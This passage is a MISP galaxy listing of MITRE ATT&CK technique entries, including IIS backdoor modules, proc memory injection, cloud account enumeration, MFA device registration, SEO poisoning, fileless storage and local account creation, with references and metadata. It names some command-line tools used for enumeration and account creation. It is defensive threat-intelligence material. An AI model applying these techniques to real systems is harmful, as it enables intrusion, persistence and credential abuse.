| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Containers:defense-evasion', 'attack-Network:defense-evasion', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:persistence', 'attack-Containers:persistence', 'attack-Network:persistence', 'attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Windows:privilege-escalation', 'attack-Containers:privilege-escalation', 'attack-Network:privilege-escalation', 'attack-Linux:initial-access', 'attack-macOS:initial-access', 'attack-Windows:initial-access', 'attack-Containers:initial-access', 'attack-Network:initial-access'] |
| mitre_data_sources | ['Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Containers', 'Network'] |
Related clusters
To see the related clusters, click here.
IIS Components - T1505.004
Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)
Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)
Adversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)
Internal MISP references
UUID b46a801b-fd98-491c-a25a-bca25d6e3001 which can be used as unique global reference for IIS Components - T1505.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1505/004 - webarchive
- https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview - webarchive
- https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90) - webarchive
- https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90) - webarchive
- https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90) - webarchive
- https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf - webarchive
- https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/ - webarchive
- https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx - webarchive
- https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html - webarchive
- https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage - webarchive
- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1505.004 |
| kill_chain | ['attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Network Topology - T1590.004
Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.
Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).
Internal MISP references
UUID 34ab90a3-05f6-4259-8f21-621081fdaba5 which can be used as unique global reference for Network Topology - T1590.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1590.004 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Unix Shell - T1059.004
Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.
Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.
Internal MISP references
UUID a9d4b653-6915-42af-98b2-5758c4ceee56 which can be used as unique global reference for Unix Shell - T1059.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1059.004 |
| kill_chain | ['attack-macOS:execution', 'attack-Linux:execution', 'attack-Network:execution'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['macOS', 'Linux', 'Network'] |
Related clusters
To see the related clusters, click here.
Cloud Accounts - T1078.004
Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)
Service or user accounts may be targeted by adversaries through Brute Force, Phishing, or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto Remote Services. High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based Software Deployment Tools to run commands on hybrid-joined devices.
An adversary may create long lasting Additional Cloud Credentials on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication.
Cloud accounts may also be able to assume Temporary Elevated Cloud Access or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through Cloud API or other methods.
Internal MISP references
UUID f232fa7a-025c-4d43-abc7-318e81a73d65 which can be used as unique global reference for Cloud Accounts - T1078.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1078/004 - webarchive
- https://aws.amazon.com/identity/federation/ - webarchive
- https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction - webarchive
- https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1078.004 |
| kill_chain | ['attack-Azure-AD:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-IaaS:defense-evasion', 'attack-Google-Workspace:defense-evasion', 'attack-Azure-AD:persistence', 'attack-Office-365:persistence', 'attack-SaaS:persistence', 'attack-IaaS:persistence', 'attack-Google-Workspace:persistence', 'attack-Azure-AD:privilege-escalation', 'attack-Office-365:privilege-escalation', 'attack-SaaS:privilege-escalation', 'attack-IaaS:privilege-escalation', 'attack-Google-Workspace:privilege-escalation', 'attack-Azure-AD:initial-access', 'attack-Office-365:initial-access', 'attack-SaaS:initial-access', 'attack-IaaS:initial-access', 'attack-Google-Workspace:initial-access'] |
| mitre_data_sources | ['Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Cloud Account - T1087.004
Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.
With authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)
The AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)
Internal MISP references
UUID 8f104855-e5b7-4077-b1f5-bc3103b41abe which can be used as unique global reference for Cloud Account - T1087.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1087/004 - webarchive
- https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list - webarchive
- https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html - webarchive
- https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html - webarchive
- https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest - webarchive
- https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0 - webarchive
- https://github.com/True-Demon/raindance - webarchive
- https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1087.004 |
| kill_chain | ['attack-Azure-AD:discovery', 'attack-Office-365:discovery', 'attack-SaaS:discovery', 'attack-IaaS:discovery', 'attack-Google-Workspace:discovery'] |
| mitre_data_sources | ['Command: Command Execution'] |
| mitre_platforms | ['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
IP Addresses - T1590.005
Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.
Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).
Internal MISP references
UUID 0dda99f0-4701-48ca-9774-8504922e92d3 which can be used as unique global reference for IP Addresses - T1590.005 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1590.005 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Visual Basic - T1059.005
Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as Component Object Model and the Native API through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)
Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of JavaScript on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)
Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into Spearphishing Attachment payloads (which may also involve Mark-of-the-Web Bypass to enable execution).(Citation: Default VBS macros Blocking )
Internal MISP references
UUID dfd7cc1d-e1d8-4394-a198-97c4cab8aa67 which can be used as unique global reference for Visual Basic - T1059.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1059/005 - webarchive
- https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/ - webarchive
- https://docs.microsoft.com/dotnet/visual-basic/ - webarchive
- https://docs.microsoft.com/office/vba/api/overview/ - webarchive
- https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85) - webarchive
- https://en.wikipedia.org/wiki/Visual_Basic_for_Applications - webarchive
- https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1059.005 |
| kill_chain | ['attack-Windows:execution', 'attack-macOS:execution', 'attack-Linux:execution'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Related clusters
To see the related clusters, click here.
Proc Memory - T1055.009
Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.
Proc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man)
Other techniques such as Dynamic Linker Hijacking may be used to populate a target process with more available gadgets. Similar to Process Hollowing, proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process.
Internal MISP references
UUID d201d4cc-214d-4a74-a1ba-b3fa09fd4591 which can be used as unique global reference for Proc Memory - T1055.009 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1055.009 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-Linux:privilege-escalation'] |
| mitre_data_sources | ['File: File Modification'] |
| mitre_platforms | ['Linux'] |
Related clusters
To see the related clusters, click here.
Link Target - T1608.005
Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link.
Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user.
Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link.
Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation: Kaspersky-masking)(Citation: mandiant-masking)
Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect) In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)
Internal MISP references
UUID 84ae8255-b4f4-4237-b5c5-e717405a9701 which can be used as unique global reference for Link Target - T1608.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1608/005 - webarchive
- https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/ - webarchive
- https://blog.talosintelligence.com/ipfs-abuse/ - webarchive
- https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/ - webarchive
- https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html - webarchive
- https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF - webarchive
- https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf - webarchive
- https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/ - webarchive
- https://www.kaspersky.com/blog/malicious-redirect-methods/50045/ - webarchive
- https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse - webarchive
- https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service - webarchive
- https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection - webarchive
- https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian - webarchive
- https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1608.005 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Device Registration - T1098.005
Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.
MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)
Similarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)
Devices registered in Azure AD may be able to conduct Internal Spearphishing campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a Service Exhaustion Flood on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)
Internal MISP references
UUID 7decb26c-715c-40cf-b7e0-026f7d7cc215 which can be used as unique global reference for Device Registration - T1098.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1098/005 - webarchive
- https://o365blog.com/post/bprt/ - webarchive
- https://o365blog.com/post/devices/ - webarchive
- https://o365blog.com/post/mdm - webarchive
- https://www.cisa.gov/uscert/ncas/alerts/aa22-074a - webarchive
- https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack - webarchive
- https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft - webarchive
- https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa - webarchive
- https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1098.005 |
| kill_chain | ['attack-Azure-AD:persistence', 'attack-Windows:persistence', 'attack-SaaS:persistence', 'attack-Azure-AD:privilege-escalation', 'attack-Windows:privilege-escalation', 'attack-SaaS:privilege-escalation'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Creation', 'Application Log: Application Log Content', 'User Account: User Account Modification'] |
| mitre_platforms | ['Azure AD', 'Windows', 'SaaS'] |
Related clusters
To see the related clusters, click here.
Cloud API - T1059.009
Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, PowerShell modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as Python.
Cloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.
With proper permissions (often via use of credentials such as Application Access Token and Web Session Cookie), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment.
Internal MISP references
UUID 55bb4471-ff1f-43b4-88c1-c9384ec47abf which can be used as unique global reference for Cloud API - T1059.009 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1059.009 |
| kill_chain | ['attack-IaaS:execution', 'attack-Azure-AD:execution', 'attack-Office-365:execution', 'attack-SaaS:execution', 'attack-Google-Workspace:execution'] |
| mitre_data_sources | ['Command: Command Execution'] |
| mitre_platforms | ['IaaS', 'Azure AD', 'Office 365', 'SaaS', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
SEO Poisoning - T1608.006
Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)
To help facilitate Drive-by Compromise, adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as Drive-by Target) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)
Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)
SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)
Internal MISP references
UUID e5d550f3-2202-4634-85f2-4a200a1d49b3 which can be used as unique global reference for SEO Poisoning - T1608.006 in MISP communities and other software using the MISP galaxy
External references
- https://atlas-cybersecurity.com/cyber-threats/threat-actors-use-search-engine-optimization-tactics-to-redirect-traffic-and-install-malware/ - webarchive
- https://attack.mitre.org/techniques/T1608/006 - webarchive
- https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/ - webarchive
- https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/ - webarchive
- https://www.malwarebytes.com/blog/news/2018/05/seo-poisoning-is-it-worth-it - webarchive
- https://www.zscaler.com/blogs/security-research/ubiquitous-seo-poisoning-urls-0 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1608.006 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Standard Encoding - T1132.001
Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.
Internal MISP references
UUID 04fd5427-79c7-44ea-ae13-11b24778ff1c which can be used as unique global reference for Standard Encoding - T1132.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1132.001 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Symmetric Cryptography - T1521.001
Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, Blowfish, and RC4.
Internal MISP references
UUID bb4387ab-7a51-468b-bf5f-a9a8612f0303 which can be used as unique global reference for Symmetric Cryptography - T1521.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1521.001 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Fileless Storage - T1027.011
Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless)
Similar to fileless in-memory behaviors such as Reflective Code Loading and Process Injection, fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage.
Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of Persistence) and collected data not yet exfiltrated from the victim (e.g., Local Data Staging). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.
Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., %SystemRoot%\System32\Wbem\Repository) or Registry (e.g., %SystemRoot%\System32\Config) physical files.(Citation: Microsoft Fileless)
Internal MISP references
UUID 02c5abff-30bf-4703-ab92-1f6072fae939 which can be used as unique global reference for Fileless Storage - T1027.011 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1027.011 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['WMI: WMI Creation', 'Windows Registry: Windows Registry Key Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Local Account - T1136.001
Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
For example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account. Local accounts may also be added to network devices, often via common Network Device CLI commands such as username, or to Kubernetes clusters using the kubectl utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)
Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Internal MISP references
UUID 635cbe30-392d-4e27-978e-66774357c762 which can be used as unique global reference for Local Account - T1136.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1136/001 - webarchive
- https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720 - webarchive
- https://kubernetes.io/docs/concepts/security/service-accounts/ - webarchive
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1136.001 |
| kill_chain | ['attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:persistence', 'attack-Network:persistence', 'attack-Containers:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'User Account: User Account Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network', 'Containers'] |
Related clusters
To see the related clusters, click here.
Internal Defacement - T1491.001
